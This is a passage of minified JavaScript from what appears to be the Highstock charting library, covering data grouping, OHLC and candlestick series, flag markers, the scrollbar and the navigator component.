%H:%M:%S.%L","-%H:%M:%S.%L"],second:["%A, %b %e, %H:%M:%S","%A, %b %e, %H:%M:%S","-%H:%M:%S"],minute:["%A, %b %e, %H:%M","%A, %b %e, %H:%M","-%H:%M"],hour:["%A, %b %e, %H:%M","%A, %b %e, %H:%M","-%H:%M"],day:["%A, %b %e, %Y","%A, %b %e","-%A, %b %e, %Y"],week:["Week from %A, %b %e, %Y","%A, %b %e","-%A, %b %e, %Y"],month:["%B %Y","%B","-%B %Y"],year:["%Y","%Y","-%Y"]}},f={line:{},spline:{},area:{},areaspline:{},column:{approximation:"sum",groupPixelWidth:10},arearange:{approximation:"range"},areasplinerange:{approximation:"range"},columnrange:{approximation:"range",groupPixelWidth:10},candlestick:{approximation:"ohlc",groupPixelWidth:10},ohlc:{approximation:"ohlc",groupPixelWidth:5}},l=n.defaultDataGroupingUnits=[["millisecond",[1,2,5,10,20,25,50,100,200,500]],["second",[1,2,5,10,15,30]],["minute",[1,2,5,10,15,30]],["hour",[1,2,3,4,6,8,12]],["day",[1]],["week",[1]],["month",[1,3,6]],["year",null]],t=n.approximations={sum:function(n){var i=n.length,t;if(!i&&n.hasNulls)t=null;else if(i)for(t=0;i--;)t+=n[i];return t},average:function(n){var r=n.length;return n=t.sum(n),i(n)&&r&&(n/=r),n},averages:function(){var n=[];return u(arguments,function(i){n.push(t.average(i))}),void 0===n[0]?void 0:n},open:function(n){return n.length?n[0]:n.hasNulls?null:void 0},high:function(n){return n.length?tt(n):n.hasNulls?null:void 0},low:function(n){return n.length?a(n):n.hasNulls?null:void 0},close:function(n){return n.length?n[n.length-1]:n.hasNulls?null:void 0},ohlc:function(n,r,u,f){return n=t.open(n),r=t.high(r),u=t.low(u),f=t.close(f),i(n)||i(r)||i(u)||i(f)?[n,r,u,f]:void 0},range:function(n,r){return(n=t.low(n),r=t.high(r),i(n)||i(r))?[n,r]:null===n&&null===r?null:void 0}};r.groupData=function(n,r,e,o){var it=this.data,rt=this.options.data,g=[],d=[],nt=[],y=n.length,s,a,ut=!!r,l=[],k,h,tt,p;o="function"==typeof o?o:t[o]||f[this.type]&&t[f[this.type].approximation]||t[c.approximation];var v=this.pointArrayMap,b=v&&v.length,w=0;for(a=0,b?u(v,function(){l.push([])}):l.push([]),k=b||1,h=0;h<=y&&!(n[h]>=e[0]);h++);for(h;h<=y;h++){for(;void 0!==e[w+1]&&n[h]>=e[w+1]||h===y;){for(s=e[w],this.dataGroupInfo={start:a,length:l[0].length},a=o.apply(this,l),void 0!==a&&(g.push(s),d.push(a),nt.push(this.dataGroupInfo)),a=h,s=0;s<k;s++)l[s].length=0,l[s].hasNulls=!1;if(w+=1,h===y)break}if(h===y)break;if(v)for(s=this.cropStart+h,tt=it&&it[s]||this.pointClass.prototype.applyOptions.apply({series:this},[rt[s]]),s=0;s<b;s++)p=tt[v[s]],i(p)?l[s].push(p):null===p&&(l[s].hasNulls=!0);else s=ut?r[h]:null,i(s)?l[0].push(s):null===s&&(l[0].hasNulls=!0)}return[g,d,nt]},r.processData=function(){var n=this.chart,i=this.options.dataGrouping,u=!1!==this.allowDG&&i&&s(i.enabled,n.options.isStock),p=this.visible||!n.options.chart.ignoreHiddenSeries,y,a=this.currentDataGrouping,f;if(this.forceCrop=u,this.groupPixelWidth=null,this.hasProcessed=!0,!1!==v.apply(this,arguments)&&u){this.destroyGroupedData();var e=this.processedXData,t=this.processedYData,h=n.plotSizeX,n=this.xAxis,o=n.options.ordinal,c=this.groupPixelWidth=n.getGroupPixelWidth&&n.getGroupPixelWidth();if(c){if(this.isDirty=y=!0,this.points=null,u=n.getExtremes(),f=u.min,u=u.max,o=o&&n.getGroupIntervalFactor(f,u,this)||1,c=c*(u-f)/h*o,h=n.getTimeTicks(n.normalizeTimeTickInterval(c,i.units||l),Math.min(f,e[0]),Math.max(u,e[e.length-1]),n.options.startOfWeek,e,this.closestPointRange),e=r.groupData.apply(this,[e,t,h,i.approximation]),t=e[0],o=e[1],i.smoothed&&t.length){for(i=t.length-1,t[i]=Math.min(t[i],u);i--&&0<i;)t[i]+=c/2;t[0]=Math.max(t[0],f)}f=h.info,this.closestPointRange=h.info.totalRange,this.groupMap=e[2],b(t[0])&&t[0]<n.dataMin&&p&&(n.min===n.dataMin&&(n.min=t[0]),n.dataMin=t[0]),this.processedXData=t,this.processedYData=o}else this.groupMap=null;this.hasGroupedData=y,this.currentDataGrouping=f,this.preventGraphAnimation=(a&&a.totalRange)!==(f&&f.totalRange)}},r.destroyGroupedData=function(){var n=this.groupedData;u(n||[],function(t,i){t&&(n[i]=t.destroy?t.destroy():null)}),this.groupedData=null},r.generatePoints=function(){p.apply(this),this.destroyGroupedData(),this.groupedData=this.hasGroupedData?this.points:null},e(nt.prototype,"update",function(t){this.dataGroup?n.error(24):t.apply(this,[].slice.call(arguments,1))}),e(g.prototype,"tooltipFooterHeaderFormatter",function(t,r,u){var o=r.series,c=o.tooltipOptions,s=o.options.dataGrouping,f=c.xDateFormat,h,e=o.xAxis,l=n.dateFormat;return e&&"datetime"===e.options.type&&s&&i(r.key)?(t=o.currentDataGrouping,s=s.dateTimeLabelFormats,t?(e=s[t.unitName],1===t.count?f=e[0]:(f=e[1],h=e[2])):!f&&s&&(f=this.getXDateFormat(r,c,e)),f=l(f,r.key),h&&(f+=l(h,r.key+t.totalRange-1)),d(c[(u?"footer":"header")+"Format"],{point:w(r.point,{key:f}),series:o})):t.call(this,r,u)}),r.destroy=function(){for(var t=this.groupedData||[],n=t.length;n--;)t[n]&&t[n].destroy();y.apply(this)},e(r,"setOptions",function(n,t){n=n.call(this,t);var i=this.type,u=this.chart.options.plotOptions,r=k[i].dataGrouping;return f[i]&&(r||(r=h(c,f[i])),n.dataGrouping=h(r,u.series&&u.series.dataGrouping,u[i].dataGrouping,t.dataGrouping)),this.chart.options.isStock&&(this.requireSorting=!0),n}),e(o.prototype,"setScale",function(n){n.call(this),u(this.series,function(n){n.hasProcessed=!1})}),o.prototype.getGroupPixelWidth=function(){for(var t=this.series,i=t.length,u=0,f=!1,r,n=i;n--;)(r=t[n].options.dataGrouping)&&(u=Math.max(u,r.groupPixelWidth));for(n=i;n--;)(r=t[n].options.dataGrouping)&&t[n].hasProcessed&&(i=(t[n].processedXData||t[n].data).length,t[n].groupPixelWidth||i>this.chart.plotSizeX/u||i&&r.forced)&&(f=!0);return f?u:0},o.prototype.setDataGrouping=function(n,t){var i;if(t=s(t,!0),n||(n={forced:!1,units:null}),this instanceof o)for(i=this.series.length;i--;)this.series[i].update({dataGrouping:n},!1);else u(this.chart.options.series,function(t){t.dataGrouping=n},!1);t&&this.chart.redraw()}}(t),function(n){var t=n.each,r=n.Point,u=n.seriesType,i=n.seriesTypes;u("ohlc","column",{lineWidth:1,tooltip:{pointFormat:'<span style="color:{point.color}">●</span> <b> {series.name}</b><br/>Open: {point.open}<br/>High: {point.high}<br/>Low: {point.low}<br/>Close: {point.close}<br/>'},threshold:null,states:{hover:{lineWidth:3}},stickyTracking:!0},{directTouch:!1,pointArrayMap:["open","high","low","close"],toYData:function(n){return[n.open,n.high,n.low,n.close]},pointValKey:"close",pointAttrToOptions:{stroke:"color","stroke-width":"lineWidth"},pointAttribs:function(n,t){t=i.column.prototype.pointAttribs.call(this,n,t);var r=this.options;return delete t.fill,!n.options.color&&r.upColor&&n.open<n.close&&(t.stroke=r.upColor),t},translate:function(){var n=this,r=n.yAxis,f=!!n.modifyValue,u=["plotOpen","plotHigh","plotLow","plotClose","yBottom"];i.column.prototype.translate.apply(n),t(n.points,function(i){t([i.open,i.high,i.low,i.close,i.low],function(t,e){null!==t&&(f&&(t=n.modifyValue(t)),i[u[e]]=r.toPixels(t,!0))}),i.tooltipPos[1]=i.plotHigh+r.pos-n.chart.plotTop})},drawPoints:function(){var n=this,i=n.chart;t(n.points,function(t){var f,e,s,o,u=t.graphic,r,h=!u;void 0!==t.plotY&&(u||(t.graphic=u=i.renderer.path().add(n.group)),u.attr(n.pointAttribs(t,t.selected&&"select")),e=u.strokeWidth()%2/2,r=Math.round(t.plotX)-e,s=Math.round(t.shapeArgs.width/2),o=["M",r,Math.round(t.yBottom),"L",r,Math.round(t.plotHigh)],null!==t.open&&(f=Math.round(t.plotOpen)+e,o.push("M",r,f,"L",r-s,f)),null!==t.close&&(f=Math.round(t.plotClose)+e,o.push("M",r,f,"L",r+s,f)),u[h?"attr":"animate"]({d:o}).addClass(t.getClassName(),!0))})},animate:null},{getClassName:function(){return r.prototype.getClassName.call(this)+(this.open<this.close?" highcharts-point-up":" highcharts-point-down")}})}(t),function(n){var t=n.defaultPlotOptions,u=n.each,f=n.merge,i=n.seriesType,r=n.seriesTypes;i("candlestick","ohlc",f(t.column,{states:{hover:{lineWidth:2}},tooltip:t.ohlc.tooltip,threshold:null,lineColor:"#000000",lineWidth:1,upColor:"#ffffff",stickyTracking:!0}),{pointAttribs:function(n,t){var i=r.column.prototype.pointAttribs.call(this,n,t),u=this.options,e=n.open<n.close,f=u.lineColor||this.color;return i["stroke-width"]=u.lineWidth,i.fill=n.options.color||(e?u.upColor||this.color:this.color),i.stroke=n.lineColor||(e?u.upLineColor||f:f),t&&(n=u.states[t],i.fill=n.color||i.fill,i.stroke=n.lineColor||i.stroke,i["stroke-width"]=n.lineWidth||i["stroke-width"]),i},drawPoints:function(){var n=this,t=n.chart;u(n.points,function(i){var o=i.graphic,r,h,f,c,e,u,s,l=!o;void 0!==i.plotY&&(o||(i.graphic=o=t.renderer.path().add(n.group)),o.attr(n.pointAttribs(i,i.selected&&"select")).shadow(n.options.shadow),e=o.strokeWidth()%2/2,u=Math.round(i.plotX)-e,r=i.plotOpen,h=i.plotClose,f=Math.min(r,h),r=Math.max(r,h),s=Math.round(i.shapeArgs.width/2),h=Math.round(f)!==Math.round(i.plotHigh),c=r!==i.yBottom,f=Math.round(f)+e,r=Math.round(r)+e,e=[],e.push("M",u-s,r,"L",u-s,f,"L",u+s,f,"L",u+s,r,"Z","M",u,f,"L",u,h?Math.round(i.plotHigh):f,"M",u,r,"L",u,c?Math.round(i.yBottom):r),o[l?"attr":"animate"]({d:e}).addClass(i.getClassName(),!0))})}})}(t),i=function(n){var r=n.each,i=n.seriesTypes,t=n.stableSort;return{translate:function(){i.column.prototype.translate.apply(this);var u=this.options,w=this.chart,o=this.points,l=o.length-1,n,c,v=u.onSeries;n=v&&w.get(v);var u=u.onKey||"y",v=n&&n.options.step,s=n&&n.points,e=s&&s.length,h=this.xAxis,k=this.yAxis,y=h.getExtremes(),b=0,f,p,a;if(n&&n.visible&&e)for(b=(n.pointXOffset||0)+(n.barW||0)/2,n=n.currentDataGrouping,p=s[e-1].x+(n?n.totalRange:0),t(o,function(n,t){return n.x-t.x}),u="plot"+u[0].toUpperCase()+u.substr(1);e--&&o[l]&&!(n=o[l],f=s[e],f.x<=n.x&&void 0!==f[u]&&(n.x<=p&&(n.plotY=f[u],f.x<n.x&&!v&&(a=s[e+1])&&void 0!==a[u]&&(n.plotY+=(n.x-f.x)/(a.x-f.x)*(a[u]-f[u]))),l--,e++,0>l)););r(o,function(n,t){var i;void 0===n.plotY&&(n.x>=y.min&&n.x<=y.max?n.plotY=w.chartHeight-h.bottom-(h.opposite?h.height:0)+h.offset-k.top:n.shapeArgs={}),n.plotX+=b,(c=o[t-1])&&c.plotX===n.plotX&&(void 0===c.stackIndex&&(c.stackIndex=0),i=c.stackIndex+1),n.stackIndex=i})}}}(t),function(n,t){var s=n.addEvent,r=n.each,h=n.merge,u=n.noop,o=n.Renderer,c=n.seriesType,e=n.TrackerMixin,f=n.VMLRenderer,i=n.SVGRenderer.prototype.symbols;c("flags","column",{pointRange:0,shape:"flag",stackDistance:12,textAlign:"center",tooltip:{pointFormat:"{point.text}<br/>"},threshold:null,y:-30,fillColor:"#ffffff",lineWidth:1,states:{hover:{lineColor:"#000000",fillColor:"#ccd6eb"}},style:{fontSize:"11px",fontWeight:"bold"}},{sorted:!1,noSharedTooltip:!0,allowDG:!1,takeOrdinalPosition:!1,trackerGroups:["markerGroup"],forceCrop:!0,init:n.Series.prototype.init,pointAttribs:function(n,t){var i=this.options,f=n&&n.color||this.color,u=i.lineColor,r=n&&n.lineWidth;return n=n&&n.fillColor||i.fillColor,t&&(n=i.states[t].fillColor,u=i.states[t].lineColor,r=i.states[t].lineWidth),{fill:n||f,stroke:u||f,"stroke-width":r||i.lineWidth||0}},translate:t.translate,drawPoints:function(){for(var a=this.points,s=this.chart,k=s.renderer,f,e,u=this.options,b=u.y,v,t,i,w,p,c=this.yAxis,o={},y=[],l=a.length;l--;)t=a[l],p=t.plotX>this.xAxis.len,f=t.plotX,i=t.stackIndex,v=t.options.shape||u.shape,e=t.plotY,void 0!==e&&(e=t.plotY+b-(void 0!==i&&i*u.stackDistance)),t.anchorX=i?void 0:t.plotX,w=i?void 0:t.plotY,i=t.graphic,void 0!==e&&0<=f&&!p?(i||(i=t.graphic=k.label("",null,null,v,null,null,u.useHTML).attr(this.pointAttribs(t)).css(h(u.style,t.style)).attr({align:"flag"===v?"left":"center",width:u.width,height:u.height,"text-align":u.textAlign}).addClass("highcharts-point").add(this.markerGroup),t.graphic.div&&(t.graphic.div.point=t),i.shadow(u.shadow),i.isNew=!0),0<f&&(f-=i.strokeWidth()%2),i.attr({text:t.options.title||u.title||"A"})[i.isNew?"attr":"animate"]({y:e,anchorY:w}),o[t.plotX]?o[t.plotX].size=Math.max(o[t.plotX].size,i.width):o[t.plotX]={align:0,size:i.width,target:f,anchorX:f},t.tooltipPos=s.inverted?[c.len+c.pos-s.plotLeft-e,this.xAxis.len-f]:[f,e+c.pos-s.plotTop]):i&&(t.graphic=i.destroy());n.objectEach(o,function(n){n.plotX=n.anchorX,y.push(n)}),n.distribute(y,this.xAxis.len),r(a,function(n){var t=n.graphic&&o[n.plotX];t&&(n.graphic[n.graphic.isNew?"attr":"animate"]({x:t.pos,anchorX:n.anchorX}),n.graphic.isNew=!1)}),u.useHTML&&n.wrap(this.markerGroup,"on",function(t){return n.SVGElement.prototype.on.apply(t.apply(this,[].slice.call(arguments,1)),[].slice.call(arguments,1))})},drawTracker:function(){var n=this.points;e.drawTrackerPoint.apply(this),r(n,function(t){var i=t.graphic;i&&s(i.element,"mouseover",function(){0<t.stackIndex&&!t.raised&&(t._y=i.y,i.attr({y:t._y-8}),t.raised=!0),r(n,function(n){n!==t&&n.raised&&n.graphic&&(n.graphic.attr({y:n._y}),n.raised=!1)})})})},animate:u,buildKDTree:u,setClip:u}),i.flag=function(n,t,r,u,f){var e=f&&f.anchorX||n;return f=f&&f.anchorY||t,i.circle(e-1,f-1,2,2).concat(["M",e,f,"L",n,t+u,n,t,n+r,t,n+r,t+u,n,t+u,"Z"])},r(["circle","square"],function(n){i[n+"pin"]=function(t,r,u,f,e){var o=e&&e.anchorX;return e=e&&e.anchorY,"circle"===n&&f>u&&(t-=Math.round((f-u)/2),u=f),t=i[n](t,r,u,f),o&&e&&(t.push("M","circle"===n?t[1]-t[4]:t[1]+t[4]/2,r>e?r:r+f,"L",o,e),t=t.concat(i.circle(o-1,e-1,2,2))),t}}),o===f&&r(["flag","circlepin","squarepin"],function(n){f.prototype.symbols[n]=i[n]})}(t,i),function(n){function c(n,t,i){this.init(n,t,i)}var l=n.addEvent,u=n.Axis,t=n.correctFloat,v=n.defaultOptions,h=n.defined,p=n.destroyObjectProperties,s=n.each,r=n.fireEvent,b=n.hasTouch,y=n.isTouchDevice,o=n.merge,i=n.pick,w=n.removeEvent,f=n.wrap,e,a={height:y?20:14,barBorderRadius:0,buttonBorderRadius:0,liveRedraw:n.svg&&!y,margin:10,minWidth:6,step:.2,zIndex:3,barBackgroundColor:"#cccccc",barBorderWidth:1,barBorderColor:"#cccccc",buttonArrowColor:"#333333",buttonBackgroundColor:"#e6e6e6",buttonBorderColor:"#cccccc",buttonBorderWidth:1,rifleColor:"#333333",trackBackgroundColor:"#f2f2f2",trackBorderColor:"#f2f2f2",trackBorderWidth:1};v.scrollbar=o(!0,a,v.scrollbar),n.swapXY=e=function(n,t){var r=n.length,i;if(t)for(t=0;t<r;t+=3)i=n[t+1],n[t+1]=n[t+2],n[t+2]=i;return n},c.prototype={init:function(n,t,r){this.scrollbarButtons=[],this.renderer=n,this.userOptions=t,this.options=o(a,t),this.chart=r,this.size=i(this.options.size,this.options.height),t.enabled&&(this.render(),this.initEvents(),this.addEvents())},render:function(){var i=this.renderer,n=this.options,t=this.size,r;this.group=r=i.g("scrollbar").attr({zIndex:n.zIndex,translateY:-99999}).add(),this.track=i.rect().addClass("highcharts-scrollbar-track").attr({x:0,r:n.trackBorderRadius||0,height:t,width:t}).add(r),this.track.attr({fill:n.trackBackgroundColor,stroke:n.trackBorderColor,"stroke-width":n.trackBorderWidth}),this.trackBorderWidth=this.track.strokeWidth(),this.track.attr({y:-this.trackBorderWidth%2/2}),this.scrollbarGroup=i.g().add(r),this.scrollbar=i.rect().addClass("highcharts-scrollbar-thumb").attr({height:t,width:t,r:n.barBorderRadius||0}).add(this.scrollbarGroup),this.scrollbarRifles=i.path(e(["M",-3,t/4,"L",-3,2*t/3,"M",0,t/4,"L",0,2*t/3,"M",3,t/4,"L",3,2*t/3],n.vertical)).addClass("highcharts-scrollbar-rifles").add(this.scrollbarGroup),this.scrollbar.attr({fill:n.barBackgroundColor,stroke:n.barBorderColor,"stroke-width":n.barBorderWidth}),this.scrollbarRifles.attr({stroke:n.rifleColor,"stroke-width":1}),this.scrollbarStrokeWidth=this.scrollbar.strokeWidth(),this.scrollbarGroup.translate(-this.scrollbarStrokeWidth%2/2,-this.scrollbarStrokeWidth%2/2),this.drawScrollbarButton(0),this.drawScrollbarButton(1)},position:function(n,t,i,r){var e=this.options.vertical,f=0,u=this.rendered?"animate":"attr";this.x=n,this.y=t+this.trackBorderWidth,this.width=i,this.xOffset=this.height=r,this.yOffset=f,e?(this.width=this.yOffset=i=f=this.size,this.xOffset=t=0,this.barWidth=r-2*i,this.x=n+=this.options.margin):(this.height=this.xOffset=r=t=this.size,this.barWidth=i-2*r,this.y+=this.options.margin),this.group[u]({translateX:n,translateY:this.y}),this.track[u]({width:i,height:r}),this.scrollbarButtons[1][u]({translateX:e?0:i-t,translateY:e?r-f:0})},drawScrollbarButton:function(n){var u=this.renderer,f=this.scrollbarButtons,r=this.options,i=this.size,t;t=u.g().add(this.group),f.push(t),t=u.rect().addClass("highcharts-scrollbar-button").add(t),t.attr({stroke:r.buttonBorderColor,"stroke-width":r.buttonBorderWidth,fill:r.buttonBackgroundColor}),t.attr(t.crisp({x:-.5,y:-.5,width:i+1,height:i+1,r:r.buttonBorderRadius},t.strokeWidth())),t=u.path(e(["M",i/2+(n?-1:1),i/2-3,"L",i/2+(n?-1:1),i/2+3,"L",i/2+(n?2:-2),i/2],r.vertical)).addClass("highcharts-scrollbar-arrow").add(f[n]),t.attr({fill:r.buttonArrowColor})},setRange:function(n,i){var s=this.options,c=s.vertical,r=s.minWidth,f=this.barWidth,o,u,e=this.rendered&&!this.hasDragged?"animate":"attr";h(f)&&(n=Math.max(n,0),o=Math.ceil(f*n),this.calculatedWidth=u=t(f*Math.min(i,1)-o),u<r&&(o=(f-r+u)*n,u=r),r=Math.floor(o+this.xOffset+this.yOffset),f=u/2-.5,this.from=n,this.to=i,c?(this.scrollbarGroup[e]({translateY:r}),this.scrollbar[e]({height:u}),this.scrollbarRifles[e]({translateY:f}),this.scrollbarTop=r,this.scrollbarLeft=0):(this.scrollbarGroup[e]({translateX:r}),this.scrollbar[e]({width:u}),this.scrollbarRifles[e]({translateX:f}),this.scrollbarLeft=r,this.scrollbarTop=0),12>=u?this.scrollbarRifles.hide():this.scrollbarRifles.show(!0),!1===s.showFull&&(0>=n&&1<=i?this.group.hide():this.group.show()),this.rendered=!0)},initEvents:function(){var n=this;n.mouseMoveHandler=function(t){var u=n.chart.pointer.normalize(t),i=n.options.vertical?"chartY":"chartX",f=n.initPositions;!n.grabbedCenter||t.touches&&0===t.touches[0][i]||(u=n.cursorToScrollbarPosition(u)[i],i=n[i],i=u-i,n.hasDragged=!0,n.updatePosition(f[0]+i,f[1]+i),n.hasDragged&&r(n,"changed",{from:n.from,to:n.to,trigger:"scrollbar",DOMType:t.type,DOMEvent:t}))},n.mouseUpHandler=function(t){n.hasDragged&&r(n,"changed",{from:n.from,to:n.to,trigger:"scrollbar",DOMType:t.type,DOMEvent:t}),n.grabbedCenter=n.hasDragged=n.chartX=n.chartY=null},n.mouseDownHandler=function(t){t=n.chart.pointer.normalize(t),t=n.cursorToScrollbarPosition(t),n.chartX=t.chartX,n.chartY=t.chartY,n.initPositions=[n.from,n.to],n.grabbedCenter=!0},n.buttonToMinClick=function(i){var u=t(n.to-n.from)*n.options.step;n.updatePosition(t(n.from-u),t(n.to-u)),r(n,"changed",{from:n.from,to:n.to,trigger:"scrollbar",DOMEvent:i})},n.buttonToMaxClick=function(t){var i=(n.to-n.from)*n.options.step;n.updatePosition(n.from+i,n.to+i),r(n,"changed",{from:n.from,to:n.to,trigger:"scrollbar",DOMEvent:t})},n.trackClick=function(t){var u=n.chart.pointer.normalize(t),i=n.to-n.from,e=n.y+n.scrollbarTop,f=n.x+n.scrollbarLeft;n.options.vertical&&u.chartY>e||!n.options.vertical&&u.chartX>f?n.updatePosition(n.from+i,n.to+i):n.updatePosition(n.from-i,n.to-i),r(n,"changed",{from:n.from,to:n.to,trigger:"scrollbar",DOMEvent:t})}},cursorToScrollbarPosition:function(n){var t=this.options,t=t.minWidth>this.calculatedWidth?t.minWidth:0;return{chartX:(n.chartX-this.x-this.xOffset)/(this.barWidth-t),chartY:(n.chartY-this.y-this.yOffset)/(this.barWidth-t)}},updatePosition:function(n,i){1<i&&(n=t(1-t(i-n)),i=1),0>n&&(i=t(i-n),n=0),this.from=n,this.to=i},update:function(n){this.destroy(),this.init(this.chart.renderer,o(!0,this.options,n),this.chart)},addEvents:function(){var t=this.options.inverted?[1,0]:[0,1],u=this.scrollbarButtons,n=this.scrollbarGroup.element,f=this.mouseDownHandler,i=this.mouseMoveHandler,r=this.mouseUpHandler,t=[[u[t[0]].element,"click",this.buttonToMinClick],[u[t[1]].element,"click",this.buttonToMaxClick],[this.track.element,"click",this.trackClick],[n,"mousedown",f],[n.ownerDocument,"mousemove",i],[n.ownerDocument,"mouseup",r]];b&&t.push([n,"touchstart",f],[n.ownerDocument,"touchmove",i],[n.ownerDocument,"touchend",r]),s(t,function(n){l.apply(null,n)}),this._events=t},removeEvents:function(){s(this._events,function(n){w.apply(null,n)}),this._events.length=0},destroy:function(){var n=this.chart.scroller;this.removeEvents(),s(["track","scrollbarRifles","scrollbar","scrollbarGroup","group"],function(n){this[n]&&this[n].destroy&&(this[n]=this[n].destroy())},this),n&&this===n.scrollbar&&(n.scrollbar=null,p(n.scrollbarButtons))}},f(u.prototype,"init",function(n){var t=this;n.apply(t,Array.prototype.slice.call(arguments,1)),t.options.scrollbar&&t.options.scrollbar.enabled&&(t.options.scrollbar.vertical=!t.horiz,t.options.startOnTick=t.options.endOnTick=!1,t.scrollbar=new c(t.chart.renderer,t.options.scrollbar,t.chart),l(t.scrollbar,"changed",function(n){var r=Math.min(i(t.options.min,t.min),t.min,t.dataMin),u=Math.max(i(t.options.max,t.max),t.max,t.dataMax)-r,f;t.horiz&&!t.reversed||!t.horiz&&t.reversed?(f=r+u*this.to,r+=u*this.from):(f=r+u*(1-this.from),r+=u*(1-this.to)),t.setExtremes(r,f,!0,!1,n)}))}),f(u.prototype,"render",function(n){var r=Math.min(i(this.options.min,this.min),this.min,i(this.dataMin,this.min)),f=Math.max(i(this.options.max,this.max),this.max,i(this.dataMax,this.max)),u=this.scrollbar,t=this.titleOffset||0;n.apply(this,Array.prototype.slice.call(arguments,1)),u&&(this.horiz?(u.position(this.left,this.top+this.height+2+this.chart.scrollbarsOffsets[1]+(this.opposite?0:t+this.axisTitleMargin+this.offset),this.width,this.height),t=1):(u.position(this.left+this.width+2+this.chart.scrollbarsOffsets[0]+(this.opposite?t+this.axisTitleMargin+this.offset:0),this.top,this.width,this.height),t=0),(!this.opposite&&!this.horiz||this.opposite&&this.horiz)&&(this.chart.scrollbarsOffsets[t]+=this.scrollbar.size+this.scrollbar.options.margin),isNaN(r)||isNaN(f)||!h(this.min)||!h(this.max)?u.setRange(0,0):(t=(this.min-r)/(f-r),r=(this.max-r)/(f-r),this.horiz&&!this.reversed||!this.horiz&&this.reversed?u.setRange(t,r):u.setRange(1-r,1-t)))}),f(u.prototype,"getOffset",function(n){var i=this.horiz?2:1,t=this.scrollbar;n.apply(this,Array.prototype.slice.call(arguments,1)),t&&(this.chart.scrollbarsOffsets=[0,0],this.chart.axisOffset[i]+=t.size+t.options.margin)}),f(u.prototype,"destroy",function(n){this.scrollbar&&(this.scrollbar=this.scrollbar.destroy()),n.apply(this,Array.prototype.slice.call(arguments,1))}),n.Scrollbar=c}(t),function(n){function p(n){this.init(n)}var i=n.addEvent,l=n.Axis,h=n.Chart,ft=n.color,w=n.defaultOptions,c=n.defined,it=n.destroyObjectProperties,t=n.each,o=n.erase,tt=n.error,d=n.extend,g=n.grep,rt=n.hasTouch,k=n.isArray,e=n.isNumber,ut=n.isObject,f=n.merge,r=n.pick,a=n.removeEvent,nt=n.Scrollbar,b=n.Series,v=n.seriesTypes,u=n.wrap,y=[].concat(n.defaultDataGroupingUnits),s=function(n){var t=g(arguments,e);if(t.length)return Math[n].apply(0,t)};y[4]=["day",[1,2,3,4]],y[5]=["week",[1,2,3]],v=void 0===v.areaspline?"line":"areaspline",d(w,{navigator:{height:40,margin:25,maskInside:!0,handles:{width:7,height:15,symbols:["navigator-handle","navigator-handle"],enabled:!0,lineWidth:1,backgroundColor:"#f2f2f2",borderColor:"#999999"},maskFill:ft("#6685c2").setOpacity(.3).get(),outlineColor:"#cccccc",outlineWidth:1,series:{type:v,fillOpacity:.05,lineWidth:1,compare:null,dataGrouping:{approximation:"average",enabled:!0,groupPixelWidth:2,smoothed:!0,units:y},dataLabels:{enabled:!1,zIndex:2},id:"highcharts-navigator-series",className:"highcharts-navigator-series",lineColor:null,marker:{enabled:!1},pointRange:0,threshold:null},xAxis:{overscroll:0,className:"highcharts-navigator-xaxis",tickLength:0,lineWidth:0,gridLineColor:"#e6e6e6",gridLineWidth:1,tickPixelInterval:200,labels:{align:"left",style:{color:"#999999"},x:3,y:-4},crosshair:!1},yAxis:{className:"highcharts-navigator-yaxis",gridLineWidth:0,startOnTick:!1,endOnTick:!1,minPadding:.1,maxPadding:.1,labels:{enabled:!1},crosshair:!1,title:{text:null},tickLength:0,tickWidth:0}}}),n.Renderer.prototype.symbols["navigator-handle"]=function(n,t,i,r,u){return n=u.width/2,t=Math.round(n/3)+.5,u=u.height,["M",-n-1,.5,"L",n,.5,"L",n,u+.5,"L",-n-1,u+.5,"L",-n-1,.5,"M",-t,4,"L",-t,u-3,"M",t-1,4,"L",t-1,u-3]},p.prototype={drawHandle:function(n,t,i,r){var u=this.navigatorOptions.handles.height;this.handles[t][r](i?{translateX:Math.round(this.left+this.height/2),translateY:Math.round(this.top+parseInt(n,10)+.5-u)}:{translateX:Math.round(this.left+parseInt(n,10)),translateY:Math.round(this.top+this.height/2-u/2-1)})},drawOutline:function(n,t,i,r){var l=this.navigatorOptions.maskInside,o=this.outline.strokeWidth(),s=o/2,o=o%2/2,e=this.outlineHeight,h=this.scrollbarHeight,c=this.size,u=this.left-h,f=this.top;i?(u-=s,i=f+t+o,t=f+n+o,n=["M",u+e,f-h-o,"L",u+e,i,"L",u,i,"L",u,t,"L",u+e,t,"L",u+e,f+c+h].concat(l?["M",u+e,i-s,"L",u+e,t+s]:[])):(n+=u+h-o,t+=u+h-o,f+=s,n=["M",u,f,"L",n,f,"L",n,f+e,"L",t,f+e,"L",t,f,"L",u+c+2*h,f].concat(l?["M",n-s,f,"L",t+s,f]:[])),this.outline[r]({d:n})},drawMasks:function(n,i,r,u){var o=this.left,e=this.top,f=this.height,c,l,s,h;r?(s=[o,o,o],h=[e,e+n,e+i],l=[f,f,f],c=[n,i-n,this.size-i]):(s=[o,o+n,o+i],h=[e,e,e],l=[n,i-n,this.size-i],c=[f,f,f]),t(this.shades,function(n,t){n[u]({x:s[t],y:h[t],width:l[t],height:c[t]})})},renderElements:function(){var i=this,n=i.navigatorOptions,e=n.maskInside,o=i.chart,s=o.inverted,u=o.renderer,r,f;i.navigatorGroup=r=u.g("navigator").attr({zIndex:8,visibility:"hidden"}).add(),f={cursor:s?"ns-resize":"ew-resize"},t([!e,e,!e],function(t,e){i.shades[e]=u.rect().addClass("highcharts-navigator-mask"+(1===e?"-inside":"-outside")).attr({fill:t?n.maskFill:"rgba(0,0,0,0)"}).css(1===e&&f).add(r)}),i.outline=u.path().addClass("highcharts-navigator-outline").attr({"stroke-width":n.outlineWidth,stroke:n.outlineColor}).add(r),n.handles.enabled&&t([0,1],function(t){n.handles.inverted=o.inverted,i.handles[t]=u.symbol(n.handles.symbols[t],-n.handles.width/2-1,0,n.handles.width,n.handles.height,n.handles),i.handles[t].attr({zIndex:7-t}).addClass("highcharts-navigator-handle highcharts-navigator-handle-"+["left","right"][t]).add(r);var e=n.handles;i.handles[t].attr({fill:e.backgroundColor,stroke:e.borderColor,"stroke-width":e.lineWidth}).css(f)})},update:function(n){t(this.series||[],function(n){n.baseSeries&&delete n.baseSeries.navigatorSeries}),this.destroy(),f(!0,this.chart.options.navigator,this.options,n),this.init(this.chart)},render:function(t,i,u,f){var 